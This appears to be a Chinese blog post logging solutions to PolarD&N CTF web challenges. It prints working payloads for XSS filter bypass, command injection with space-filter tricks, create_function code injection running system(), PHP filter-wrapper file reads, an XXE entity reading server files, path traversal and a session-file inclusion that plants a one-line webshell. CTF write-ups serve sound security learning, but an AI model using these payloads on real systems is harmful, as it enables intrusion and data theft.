【1.15-1.21刷题日记】

1.15-1.21刷题日记

polctf_iphone(http_UA)

在这里插入图片描述

在这里插入图片描述
修改ua头
在这里插入图片描述返回包存在flag
在这里插入图片描述

polctf_浮生日记(xss)

在这里插入图片描述打开界面,提示弹个窗,那就试一试xss
在这里插入图片描述在这里插入图片描述
直接用常用的xss弹窗语句

<script>alert(1);</script>

发现会被过滤
在这里插入图片描述查看源代码,确定一下
在这里插入图片描述
fuzz一下
会过滤script为空
在这里插入图片描述
可以尝试大小写绕过、双写绕过
大小写绕过不了,还是一样的结果

双写绕过+闭合前面的语句
闭合前面的双引号
在这里插入图片描述

在这里插入图片描述这里应该是出发弹窗后,自动跳转了这个页面
在这里插入图片描述

$$(php中的全局变量)

 <?php
/*

PolarD&N CTF

*/

highlight_file(__file__);
error_reporting(0); 
include "flag.php";

$a=$_GET['c'];
if(isset($_GET['c'])){
    if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){
        die("oh on!!!");}
    
    else{
        eval("var_dump($$a);");}} 

过滤了很多符号,和flag字符串
应该是
\$flag
var_dump($flag)里面就是flag


用get传入一个参数c,并且对传入的字符做了过滤

满足条件之后以数组形式打印出变量$$a

$$a可以理解为$($a),就是让$a的值成为这个大变量的变量名

由此我们可以想到$GLOBALS — 引用全局作用域中可用的全部变量

输出全局作用域的全部变量 $GLOBALS
在这里插入图片描述

爆破(md5爆破)

在这里插入图片描述

 <?php
error_reporting(0);

if(isset($_GET['pass'])){
    $pass = md5($_GET['pass']);
    if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){
        if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){
            include('flag.php');
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

简单的代码审计一下就是
输入的pass第一位要和第14位相等,第十四位要和第17位相等,同时要满足接下来的那个公式,因为我们传进去的那个值是经过md5加密过的,所以我们只能进行爆破。这也就是为什么题目是爆破的原因

根据要求编写出python代码

import hashlib

dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'

for a in dic:
    for b in dic:
        t = bytes(a + b, 'utf-8')
        md5_hash = hashlib.md5(t).hexdigest()

        if md5_hash[1:2] == md5_hash[14:15] and md5_hash[14:15] == md5_hash[17:18]:
            total = int(md5_hash[1:2]) + int(md5_hash[14:15]) + int(md5_hash[17:18])
            if total / int(md5_hash[1:2]) == int(md5_hash[31:32]):
                print(t.decode('utf-8'))
                break

代码的大致意思就是
dic是一个包含数字和小写字母的字符串,这是用于生成可能的字符串对的字符集。

然后,使用两个嵌套的循环遍历dic中的字符,生成字符串对(a,b)。

对于每个字符串对,将其转换为字节序列(bytes(a + b, ‘utf-8’)),然后计算其MD5哈希值。

接下来,通过检查哈希值的特定位置来筛选字符串对。条件是:md5_hash[1:2] == md5_hash[14:15] 并且 md5_hash[14:15] == md5_hash[17:18]。

如果满足上述条件,将三个特定位置的数字相加,然后检查这个和是否等于字符串最后一个位置的数字(total / int(md5_hash[1:2]) == int(md5_hash[31:32]))。

如果满足所有条件,将字符串对打印出来。

在这里插入图片描述
用GET传参pass
在这里插入图片描述得到flag

XFF

在这里插入图片描述打开界面
在这里插入图片描述
提示只有这个ip的才可以得到flag。
常见的伪造ip的方式用

参考链接
https://blog.csdn.net/cib439/article/details/122075428

这里尝试一下XFF头
在这里插入图片描述

rce1

在这里插入图片描述

打开界面
在这里插入图片描述进行代码审计一下
在这里插入图片描述
可以使用管道分割符,进行多个命令的执行
|
;
尝试 ;ls
在这里插入图片描述可以看到有个fllllaaag.php文件
我们可以尝试查看一下

在这里插入图片描述替代空格的方法

<
‘’
$IFS
${IFS}

在这里插入图片描述得到flag。

某函数的复仇(create_function代码注入)

在这里插入图片描述

 <?php
highlight_file(__FILE__);
//flag:/flag
if(isset($_POST['shaw'])){
    $shaw = $_POST['shaw'];
    $root = $_GET['root'];
    if(preg_match('/^[a-z_]*$/isD',$shaw)){
        if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){
            $shaw('',$root);
        }else{
            echo "Almost there^^";
        }
    }
}
?> 

这里考察的是 create_function()函数的代码注入漏洞,详情具体参考: https://blog.csdn.net/dyw_666666/article/details/90042852

POST方式传入
shaw=create_function()

GET方式传入
root=;}system(‘pwd’);/*

;}表示闭合前面的语句
/*表示注释后面的语句

可以执行
在这里插入图片描述

查看根目录
在这里插入图片描述因为有过滤cat、tac等命令,所以用less、more也可以查看
得到flag
在这里插入图片描述

网站被黑(信息收集+php伪协议)

在这里插入图片描述
在这里插入图片描述第一次做这种,看起来比较真实的题目,感觉自己可以保存这个html页面,以后等自己真的有实力的就可以拿来用,哈哈开玩笑的。

随便点了点,查看源代码好像都没有什么可以利用的信息
在这里插入图片描述无奈,找不到题目的切入点
在这里插入图片描述

因为网站被黑了,那就一定有留下后门,尝试一下目录扫描
在这里插入图片描述扫描结果
在这里插入图片描述flag.php是没有什么东西的,因为大小为0kb

访问index.php/login
在这里插入图片描述
看来目录扫描没有什么可以利用的结果
用bp抓个包,查看有什么可以利用的信息

发现HTTP头部有个信息提示Hint
在这里插入图片描述
感觉是个base64编码,解码看一下,发现是乱码
但是总感觉是个base系列的编码,尝试每个base,发现是base32
在这里插入图片描述/n0_0ne_f1nd_m3/

拼接后,访问该路径
在这里插入图片描述

 <?php
error_reporting(0);

$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the 504sys")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag|data|base|write|input/i",$file)){
        echo "I am sorry but no way!";
        exit(); 
    }else{
        include($file);  //imposible.php
    }
}
else{
    highlight_file(__FILE__);
}
?> 

简单审计一下这个代码,大致意思就是让text的内容和字符串相等,这里可以用伪协议php://input,然后post字符串达到目的,或者使用data伪协议
welcome to the 504sys

然后利用文件包含漏洞,对include包含我们想要的东西,因为过滤了base,所以常用的

php://filter/convert.base64-encode/resource=imposible.php

就不能再用了,不过我们可以切换为rot13编码进行绕过

php://filter/string.rot13/resource=imposible.php

在这里插入图片描述
data伪协议

data://text/plain,welcome to the 504sys

在这里插入图片描述
都可以得到flag(是被rot13编码,需要解码回来)
在这里插入图片描述

GET-POST

在这里插入图片描述打开容器
在这里插入图片描述

 <?php 
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
include('flag.php');//文件包含,flag在flag.php文件中,不用想了你访问也没用
$id = $_GET['id'];
echo "你必须让我感受到你的真诚,用GET请求传递一下id吧,令id=1";
if($id == '1'){
    echo "干的漂亮";
    echo "<br/>";
    echo "虽然我感受到了你的真诚,但还是不行,用POST请求传递一下jljcxy吧,令jljcxy=flag";
    $jljcxy = $_POST['jljcxy'];
    if($jljcxy == 'flag'){
        echo $flag;
    }
}
你必须让我感受到你的真诚,用GET请求传递一下id吧,令id=1

根据提示来,用GET传参id=1
url?id=1

在这里插入图片描述使用post传参jljcxy
在这里插入图片描述得到flag
在这里插入图片描述没什么做的,这一题。

被黑掉的站(信息收集能力)

在这里插入图片描述
打开容器
在这里插入图片描述禁用了右键,查看一下源代码
在这里插入图片描述没什么提示
根据提示,网站还有很多马,目录扫描一下
在等待扫描的时候,也可以手工尝试一下常见的后门命名文件
如:

shell.php
cmd.php
1.php
webshell.php


发现存在shell.php
在这里插入图片描述
也扫描出来了
在这里插入图片描述
但是不知道密码是什么
在这里插入图片描述访问一下/index.php.bak
在这里插入图片描述发现像是密码
用bp一下爆破webshell的密码

把空格变为换行
在这里插入图片描述用bp的爆破模块
在这里插入图片描述爆破结果
在这里插入图片描述得到flag

签到题(信息收集+跨目录访问)

打开容器
在这里插入图片描述查看源代码
在这里插入图片描述也就是说前端这里是没有什么东西的,如果说前端没有,那就后端有咯
用bp抓个包,分析一下
在这里插入图片描述看到cookie字段有提示,承认是弟弟,哈哈
修改后,回显一个base64编码后的字段
解码后,拼接url,访问
在这里插入图片描述
这里过滤了 …/也就是说,不可以跨目录访问,但是我觉得flag就得跨目录才能访问得到

…/./ ===> …/
我们可以用这种方法,结合伪协议,进行输入

在这里插入图片描述

在这里插入图片描述
得到flag

xxe

在这里插入图片描述
打开界面
在这里插入图片描述
点击phpinfo后,注意url变化
在这里插入图片描述
修改后面的参数,好像没有什么变化也
在这里插入图片描述bp抓个包分析一下,毕竟题目提示是xxe
感觉不太像xxe,因为都没有xml模块
在这里插入图片描述有phpinfo界面的话,又提示xxe,看一下xml的version
在这里插入图片描述Libxml版本为2.8.0,此版本存在xxe漏洞,因为在2.9.0以后,默认不解析外部实体。

参考文章:
https://blog.csdn.net/jazzz98/article/details/130766000

使用dirsearch看一下是否存在相关的xml.php类的文件

扫描出结果
有个dom.php
拼接访问一下
在这里插入图片描述存在报错

xml注入,结合php伪协议带出数据

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

       <!ELEMENT name ANY >

        <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php" >

    ]>

     <name>&xxe;</name>

用bp抓包在这里插入图片描述得到flag
在这里插入图片描述

签到题(前端校验绕过)

打开界面
在这里插入图片描述把上面的disabled的全部删除就可以点击上面的 “提交”

在这里插入图片描述给到提示
使用bp抓个包,进行分析
传入参数
在这里插入图片描述得到flag

session文件包含

打开界面
在这里插入图片描述
打开界面
在这里插入图片描述点击上面的这两个 my dairy my booklist
观察url跳转

在这里插入图片描述
观察这个参数可能存在文件包含漏洞
在这里插入图片描述很明显了,就是存在文件包含漏洞,可以包含文件
可以尝试一下当前目录是否存在flag.php或者根目录下是否存在flag

经过尝试不存在flag.php和根目录下也没有flag

题目提示session包含
包含一下action.php文件

base64解码
在这里插入图片描述

<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
	$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>

打开看到name传参

在这里插入图片描述尝试尝试写入一句话木马

在这里插入图片描述写入执行,然后访问session文件
/tmp/sess_sessionid
在这里插入图片描述成功包含
在这里插入图片描述查看根目录
在这里插入图片描述得到flag
在这里插入图片描述

Don’t touch me(签到题)

在这里插入图片描述打开界面
在这里插入图片描述页面的东西比较少,查看源代码
在这里插入图片描述存在提示2.php
拼接url访问
在这里插入图片描述自动跳转3.php
在这里插入图片描述因为这个点击不了,那就继续访问3.php
在这里插入图片描述继续访问fla.php
在这里插入图片描述得到flag

veryphp(md5爆破,extract变量覆盖)

在这里插入图片描述打开界面在这里插入图片描述

 <?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}
Input correct parameters

题目是代码审计,主要考点是php解析字符串特性,脚本编写

$str = file_get_contents("php://input");

if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){

    die("I am sorry but you have to leave.");

}else{

    extract($_POST);

}

post传入的值进行检测,如果存在特殊的 _ . ;等字符,就会输出 I am sorry but you have to leave.

接着分析下面这段代码

if(isset($shaw_root)){

    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){

        echo $hint;

    }else{

        echo "Almost there."."<br>";

    }

但是下面这段代码中出现了一个 shaw_root的变量,上面没有提及到,结合代码分析可以知道,要利用extract($_POST);进行解释,可是又有waf存在,怎么绕过,是现在的思路就是绕过waf中的下划线

我们知道php中的 [ 会自动转换为下划线
但是这里不能直接用hackbar进行传,因为会被url编码,得要使用bp进行post在这里插入图片描述
可以看到成功回显almost
然后得要输出这个hint

if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;
    }else{
        echo "Almost there."."<br>";
    } 

这里解释一下正则的一些匹配规则
参考文章:https://www.idcnote.com/php/biji/83606.html

    ^:声明字符串开头的位置。
    -:匹配字符-,反斜杠是转义符。
    [a-e]:匹配单个字符,范围是小写字母a到小写字母e。
    [^a-zA-Z0-8]:匹配单个字符,范围是除了a-z、A-Z0-8以外的任意字符。
    :匹配一个。
    (.*):匹配任意字符(行结束符除外)零到无数次。  //要注意这里结束匹配,否则会一直停在这里
    >{4}:精确匹配“>”四次。
    \D*?:匹配不是数字的任何字符(等同于[^ 0-9])零到无数次。
    (abc.*?):匹配字符串abc和任意一个字符(行结束符除外)。
    p(hp)*:匹配字符p和字符串hp零到多次。
    \@:匹配字符@,反斜杠是转义符。
    R:精确匹配字符R(s|r):精确匹配字符s或r。
    .:匹配除了换行以外的所有字符

除了满足上述条件外,传入的字符串的长度必须等于29,可以在某些“匹配零到无数次”的地方增减长度达到目的。例如,以POST方式传入

shaw[root=-a?<b>rrrrr>>>>RabcRphphp@Rrr

就可以满足条件,输出 $hint 的值:
在这里插入图片描述成功echo $hint

Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

返回代码段中接着往下看

if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

如何才能相等呢?
可以联想到通过变量覆盖来覆盖掉 $SecretNumber 的值,但是字母e被过滤掉了,只能通过hint给出的提示猜测 $SecretNumber 的值,看变量名可知它是数字,又已知长度为5,可以写脚本进行爆破:

import hashlib

import re

a = 'shaw'

b = 'root'

for i in range(10000,99999):

    string = a+str(i)+b

    md5 = hashlib.md5(string.encode('utf-8')).hexdigest()

    if(re.findall("166b47a5cb1ca2431a0edfcef200684f",md5)):

        print(i)

结果
在这里插入图片描述secretNum为21475
bp发包
在这里插入图片描述现在可以使用 call_user_func 函数了
参考文章:
https://www.php.net/call_user_func/
https://blog.csdn.net/u012460314/article/details/83348955
call_user_func 是PHP的内置函数,该函数允许用户调用直接写的函数并传入一定的参数
所以,这里直接调用qwq类中的oao: my[ans=qwq::oao
在这里插入图片描述
得到flag

BlackMagic(trim函数extract函数)

在这里插入图片描述打开界面
在这里插入图片描述访问blackmagic.php
在这里插入图片描述查看源代码进行分析
在这里插入图片描述

	extract($_REQUEST);
	$strCharList = "\r\n\0\x0B ";
	$strFlag = "\r 	xxxxx...xxxxx	 \n";
	if(isset($strTmp))
	{ 
		$strContent = trim($strFlag, $strCharList);
		if($strTmp == $strContent)
		{ 
			echo "flag{xxx...xxx}"; 
		}
		else
		{ 
			echo "You're awesome, but not enough.";
		} 
	}
	else 
	{
		echo "I will never tell you the flag is inside!";
	}

extract函数
该函数使用数组键名作为变量名,使用数组键值作为变量值

参考文章
https://www.runoob.com/php/func-array-extract.html

trim
移除字符串两侧的特定字符
在这里插入图片描述参考文章:https://www.runoob.com/php/func-string-trim.html

注意到$strTmp和$strContent相等的情况下才可以得到flag

$strCharList = "\r\n\0\x0B ";
去除了回车、换行符、垂直制表符

可以看到这里没有去除制表符 \t
所以就可以做到相等的可能
post传参

strTmp=%09xxxxx...xxxxx%09

在这里插入图片描述得到flag

毒鸡汤(源码www.zip泄露)

在这里插入图片描述
打开界面
在这里插入图片描述哈哈,看起来挺有趣的,这个界面好有风趣

来了几碗鸡汤,你别说,还挺好喝的

如果你有什么事,一定要告诉我,反正我也解决不了。 
为什么要晒这么黑?因为我不想白活一生。 
有朋自远方来,虽远必诛。
抱怨不会改变生活,但是钱可以! 
世界上脑残那么多,你却成了佼佼者。 
问君能有几多愁,恰似一群太监上青楼。 
可怕的不是,别人在今天忽悠你,而是忘了你这个人。 
过年不吃胖,怎么对得起,死去的鸡鸭鱼猪? 
很多时候你不逼自己一把,你都不知道,你还有能把事情搞砸的本事! 
不要总对人掏心掏肺,有的人不吃内脏。 
我的钱虽然不是大风刮来的,但像被大风刮走的。 
上帝为你关上一道门的同时,还会顺带夹你的脑子。 
妹妹你坐船头,哥哥我在岸上走。看这句的99%都是唱出来的。 
穷,不是一种状态,而是一种常态。 
只要你肯吃苦,肯努力,肯放下身段,去要饭,总会有人赶的 
你看天上那朵云,像不像你,欠我的100块钱? 
时间不能冲淡一切,比如痘印。
不要期待明天,因为明天也不会好过。 
有些事或人,不是你有钱就可以搞定的,你得有很多钱。 
别总是对我忽冷忽热,不然我会感冒的。 
由于性格太内向,一直做不出,抢着结账这种事。 
成长就是将你哭声调成静音的过程。
既然解决不了问题,就解决提问的人。 
别人的起点,是你遥不可及的终点。 
往往那些不起眼的小餐馆,才能吃到真正的美味,而那些大酒店的我吃不起。 
请珍惜那些伤害过你的人,毕竟其他人都懒得害你。 
如果有一天我消失了,即使我的朋友恋人不会找我,银行也会疯狂找我
人生苦短,我又他妈懒 
如果吃鱼可以补脑,你这智商,至少要吃一条鲸鱼。
为什么中国人结婚,都非要选个好日子呢?因为结完婚就没好日子过了!
愿你的烦恼,像你的头发一样,越来越少。 
当你怀疑人生的时候,其实这就是你的人生。
每次想省钱的时候,就是你智商到达顶峰之时! 
当初有多感天动地,以后就有多万劫不复。 
间歇性踌躇满志,持续性混吃等死。 

都快点上瘾了,哈哈

每个都好有趣,哈哈,自己可以去点点
在这里插入图片描述言归正传了,题还是要做的,哈哈

先看一下源代码
在这里插入图片描述好像没有什么可以利用的
目录目录扫描一下,得要找到题目的入口点

扫描结果
在这里插入图片描述

拼接url,进行访问www.zip
在这里插入图片描述
得到源码
在这里插入图片描述全部风骚语言都有了,哈哈,我都保存它,感觉真的好好笑啊
在robots.txt中看到了hint.txt,访问一下
在这里插入图片描述/hint.txt
在这里插入图片描述
他说:重要文件flag放系统根目录了,反正环境干净也没有马,肯定没人能看到里面写的啥吧。

那就仔细看一下代码

index.php中
在这里插入图片描述这不是明摆着就有文件包含漏洞,有没有waf
直接跨目录访问

…/…/…/…/…/…/flag
在这里插入图片描述得到flag

  • 24
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值